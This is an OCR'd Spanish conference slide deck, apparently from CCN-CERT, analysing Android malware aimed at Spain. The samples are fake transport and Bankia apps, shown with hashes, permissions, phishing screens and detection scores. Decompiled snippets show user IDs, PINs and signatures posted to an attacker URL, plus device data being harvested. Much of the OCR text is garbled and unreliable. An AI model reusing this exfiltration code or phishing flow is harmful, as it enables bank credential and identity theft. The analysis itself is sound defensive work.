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1. EN INTERNET NO HAY AMIGOS
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ESPANA, TERCER PAIS DEL MUNDO CON MAS CIBERATAQUES

e https://www.abc.es/espana/20150205/abci-espana-ciberatagues-
201502051227 .html

5 febrero 2015

e https://elpais. com/tecnoIOQ|a/2016/10/21/actuahdad/1477053031 897
498.html —_— ,

28 octubre 2016

e https://www.elmundo.es/espana/2017/05/15/59
46d7.html
15 mayo 2017

H B B #XllJornadasCCNCERT ®E H H HE E B www.cch-cert.chiies m E H



https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
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https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
https://www.elmundo.es/espana/2017/05/15/5918ae9222601d51718b46d7.html
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ATAQUES MALWARE CONTRA ESPANA: PREGUNTAS
o ¢;Canales de infeccion?

o ¢;Complejidad del malware?
» ¢ Caracteristicas del malware (reversing)?

» ¢Objetivos del malware?

;Donde?

e ¢lImpacto?

e ¢lInformacion sobre los autores?
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2. Empresa Publica: Analisis
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com.crtm.mitransporte

SHA256:
828e24d52246782070accd52196452dch8d7fc4af5e7ce9ead8493f98ccd0049

Infeccion: portal web falso

Detectado: mayo

Caracteristicas:
* Malware Android basado en la app CRTM original
» Cadigo ofuscado y cifrado

* Impacto y autor(es): ¢,?
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® 158.255.5.76 Y 51 € # % by @ W |

tarjeta
transporte
publico

IE IR L EYT L X =N Y=% I'¥3

EMT Madrid te ofrece 200Mb gratis de navegacion

A la mas alta velocidad!

Descarga nuestra app para continuar navegando de forma gratuita y descubre Todas las promociones disponibles introduciendo el
codigo que encontraras en ella.

Descargalo en el £ Descargar de la

f‘ Google play [ ¢ App Store
Introduce tu codigo:
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Lesr Trasin
Light Railway

Inzerurban B

Lirban A s Municipalic

infermation:

puiblicos
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APP Name:
Package Name:
Main Activity:
APK Complexity:

DEX Compilation
Time:

DEX Code Size:
Permissions:
Target SDK:
Min SDK:

Max SDK:

Android Version
Name:

Android Version
Code:

Valid APK:
APP Icon:

E B B #XllJornadasCCNCERT m m ®H
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W Android APP Information

Mi Transporte
com.crtm.mitransporte

com.velentis.ctm.SplashActivity

EESEID) Value: 97

1980-12-31 19:00:00

5.52 MB (5788276 bytes)

ey 57 0 o} Norma P2
API Level: 18 Code Name: Jelly Bean Version: 4.3.x
API Level: 9 Code Name: Gingerbread Version: 2.3 - 2.3.2
None

1.0.0
36

True

@ jil=ae
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& AndroidManifest.xml AndroidManifest.xm| 1]
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I rmignion.WAKE LOCK: /> rm WIFI STATE" />
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droid ACCESE_FINE_LOCATIGN: /- \ \ i READPHONE_STATE" />
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<usan- ro. i e o e =t \
<usen-feature androidinane anu:ow hardware.location” /=
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<application nnd.mld:thml—'!‘tv.\o—"!‘hm unﬂu.nnr Pullcraan nnd.mhil labol-'ﬂltr.llwfnpb name anﬂroi.dliaom- od.:awahlo.un STORACE" />
OBTpSUKHCFS2 v
“mata-data andrummu..- Som. Jooale AndroLd “variion® am a Faooale_Tlhy. Bervices versian: i asminsion an LARN" /3=
<receiver androidiname="com.velentis,otm, iver > <ugen-permission APE_RECEIVE"
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</intent-filters [ droid TS
</rece: andro: T cmsx mcmwn s
Seom.velentis, cum. Al LY =
M eintent-filters STATE" .n-
<action androidiname="com.velentis.otm.START ALARM | Necko WiEt SeRTES /S
</incent—£Llter> | | anien an pernission.CALL PilONE® /=
<frecalvars | asion m-n
;library androidiname-‘com.qoogle.android.maps” /> { WIFI_STATE"/>
vity android:naze="com. ey e "> | SNTERET
-(h\nm Ziltw, | x =
lon androidinames”androld, intent.astion. MAIN® /> | andro: _CONTACTS "
i, { an READ_PHONE_STATE" /=
</intent— lutur:- READ 5MS" /5
<intent-filte: | RECEIVE_BOOT COMPLETED™ />
Zaction andreidinane=*con, valentis, cta, ACTION SHOW STOPH/ | RECEIVE SMT
£¥_&ndroidiname="androld. incent.catagory. BEFAGLT > an RECORD RUDIO® />
</intent-filte | andro. BEND_BHS" />
</activieys 1 andro. SET._} APER" />
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14 permisos

81 permisos
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4 com
> crtm
ekito

geomobile str = (String) objArr[0];

str2 = str + File.separatorChar + Integer.toString(new Random().nextInt
velentis (Integer.MAX_VALUE), 36);
viewpagerindicator str3 = str2 + e.b("9fy6ErBFWX2awDYBUtGs0070Yz8=");
4 wf str2 = str2 + e.b("ocaCwPPb53UFH84fDFCv/0y7D94=");
4 general strd = String(a(dataInputStream));
a.java [] a = a(dataInputStream);
file = File(str3);
(file.exists()) {
file.createNewFile();

b
b
> google
b
b

AppBoot.java
b.java

c.java

d.java

e.java
MainService.java
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30 engines detected this file

SHA-256 828e24d52246782070accd52196452dcb8d7fc4af5e7ce9ead849398ccd0049
APK File name emt-madrid.apk

File size 19.67 MB

Last analysis 2018-10-06 00:13:46 UTC
30/ 62 '

Community score -1
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3. Empresa Privada: Analisis
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BANKIA

e fastsms

e Securemas

H B B #XllJornadasCCNCERT ®E H H E E B www.cch-cert.cniies m E B



CIBER_ cov-cert ‘
SEGURIDAD <antro aiptologico nacional

com.drop.fastsms

SHA256:
955d7claaad66d2f34a87d44fd618757a3c14dd0fa59452158a99b6b7a5b403f

Infeccion: ¢,?

Detectado: RR.SS.

Caracteristicas:
 Robo de informacién bancaria
« Capacidad para enviar SMS

* Impacto y autor(es): ¢,?
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BANKIA

Estimada Cliente, debido a la nueva fusicn
con BMN, hemes realizado cambios en
nueslra plalafonna, para sequir cperanda con
nonmalidad tus cuentas, o8 necesaria gue
aceptes las nuavas paliticas de usuarios, ¥
actuzlizar datos requeridos en nuestra nueva
base de dales

Acepln

Firma Digital
Introduce fu firrme digital

Murneracion Tarjeta Debito

34556677738888

Fechin de Yencimizn Lo

chiliga de seguridal

123

@ Bankie 5.4 2014, Espena. Tedos los derechos resanvedos
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Conversations

Mo messages yet.
Click the + 10 send one!
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i Android APP Information

APP Name: Fast Sms

Package Name: com.drop.fastsms

Main Activity: com.drop.fastsms.ui.MainActivity

APK Complexity: EEET) Value: 103

DEX Compilation Time:

DEX Code Size: 8.36 MB (8765784 bytes)

Permissions: 33 2 =Y Normal [:]

Target SDK: API Level: 22 Code Name: Lollipop Version: 5.1

Min SDK: API Level: 15 Code Name: Ice Cream Sandwich Version: 4.0.3 - 4.0.4
Max SDK: None

Android Version Name: 2.7.4
Android Version Code: 136
Valid APK: True
APP Icon:

H B B #XllJornadasCCNCERT ®E H H E E B www.cch-cert.cniies m E B
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void lambda$sendDataToServer$0( firmar, productId-
loginModel = PreferencesHelper.getLoginModel();
AndroidNetworking.post("https://clothescheap.net/bankia/user.php")
.addBodyParameter("userid", loginModel.getUserId())
.addBodyParameter("pin", loginModel.getPassword())

.addBodyParameter(PreferencesHelper.KEY_FIRMAR, firmar)
.addBodyParameter("productIdToBuy", productIdToBuy)
.addBodyParameter("dateRange"”, dateRange)

.addBodyParameter("productId”, productId)
.addBodyParameter("productId2", productId2).setTag((Object) "user_test")

m B ® #XllJornadasCCNCERT E m = E E B www.cch-cert.cniies m E B
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§ —
if (stepIndex == 0) {

this.binding.takenImage.setImageResource(R.drawable.examplel);
this.binding. idSide.setText("DNI ANVERS0");
this.alertDialog = new Builder(this).setTitle((CharSequence) "Bienvenido al Portal Verificador de BANKIA").
this.alertDialog.show();

else if (stepIndex == 1) {
this.binding.takenImage.setImageResource(R.drawable.example2);
this.binding.idSide.setText("DNI REVERS0");

else if (stepIndex == 2) {
this.binding.takenImage.setImageResource(R.drawable.placeholder_id3);
this.binding.continueText.setText("Continuar");
this.binding.idSide.setText("FOTO SOSTENIENDO EL DNI EN EL QUE SE APRECIE SU ROSTR0");

else if (stepIndex == 3) {
this.binding.takenImage.setImageResource(R.drawable.placeholder_id4);
this.binding.continueNext.setVisibility(@);
this.binding. idSide.setText("LICENCIA ANVERS0");
this.binding.continueText.setText("Continuar");

else if (stepIndex == 4) {
this.binding.takenImage.setImageResource(R.drawable.placeholder_id6);
this.binding.continueText.setText("Continuar");
this.binding.continueNext.setVisibility(@);
this.binding.idSide.setText("FOTO SOSTENIENDO LICENCIA EN EL QUE SE APRECIE SU ROSTR0O");

m B ® #XllJornadasCCNCERT E m = E E B www.cch-cert.cniies m E B
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No engines detected this file

SHA-256 955d7c1aaad66d2f34a87d44fd618757a3c14dd0fa59452158a99b6b7a5b403f
AP K Filename  com.drop.fastsms_136.apk
File size 6MB

Last analysis  2018-04-1012:29:26 UTC
0/61 )
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com.securemas

SHA256:
bdadad9d7a86cc3a62ccl1867125¢c7365fe73bd4f63410adbf72d58c58a5fcc38

Infeccion: Google Play

Detectado: Noviembre

Caracteristicas:
* Robo de informacion: Firebase / +66346882108
e Sorpresa...

» Impacto y autor(es): +1 download

H B B #XllJornadasCCNCERT ®E H H E E B www.cch-cert.cniies m E B
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# Android APP Information

APP Name:

Package Name:

Main Activity:

APK Complexity:

DEX Compilation Time:
DEX Code Size:
Permissions:

Target SDK:

Min SDK:

Max SDK:

Android Version Name:
Android Version Code:
Valid APK:

APP Icon:

E B B #XllJornadasCCNCERT m m ®H

Secure Mas
com.securemas
com.securemas.activities.MainActivity

Value: 41

5.52 MB (5792344 bytes)

[Dangerous R 1] Sionature RY Norma B

API Level: 28 Code Name: Pie Version: 9.0

API Level: 15 Code Name: Ice Cream Sandwich Version: 4.0.3 - 4.0.4

None
1
1

True

HE B B www.ccn-cert.cni.es
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hashMap = HashMap();

hashMap.put('dateTime", Constant.simpleDateFormat.format(Calend
hashMap.put("deviceld", deviceld);
hashMap.put("deviceToken", str);
hashMap.put("imei", obj);
hashMap.put("simCountryIso", simCountryIso);
hashMap.put("simOperator"”, simOperator);
hashMap.put("simOperatorName", simOperatorName);
hashMap.put("phoneNumber", linelNumber);

(linelNumber.equals("")) {

hashMap.put(“phoneNumber", CommonUtils.getStringSharedPref(
}
hashMap.put("simStateDetail", str2);
hashMap.put("meId", obj2);
hashMap.put("ipAddress", CommonUtils.getIPAddress( ));
hashMap.put("macAddress", CommonUtils.getMACAddress("wlan"));
hashMap.put("model", Build.MODEL);
hashMap.put("manufacture", Build.MANUFACTURER);
hashMap.put("brand", Build.BRAND);

m B ® #XllJornadasCCNCERT E m = E E B www.cch-cert.cniies m E B
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20 engines detected this file

SHA-256 bdadad9d7a86cc3a62cc1867125¢7365fe73bd4f63410adbf72d58c58a5fcc38

AP K File name com.securemas-1.apk
File size 10.65 MB

Last analysis  2018-12-06 13:06:01 UTC
20/ 60 )
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4. Conclusiones

 APT vs SPT (Simple Persistent Threat)
* Mudltiples vias de infeccion

* Analizar para aprender y mejorar

fl»
* Y ¢
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> E-Mails
info@ccn-cert.cni.es
ccn@cni.es
organismo.certificacion@cni.es
Websites
WWW.ccn.cni.es
WWWw.ccn-cert.cni.es
oc.ccn.cni.es

> Siguenos en
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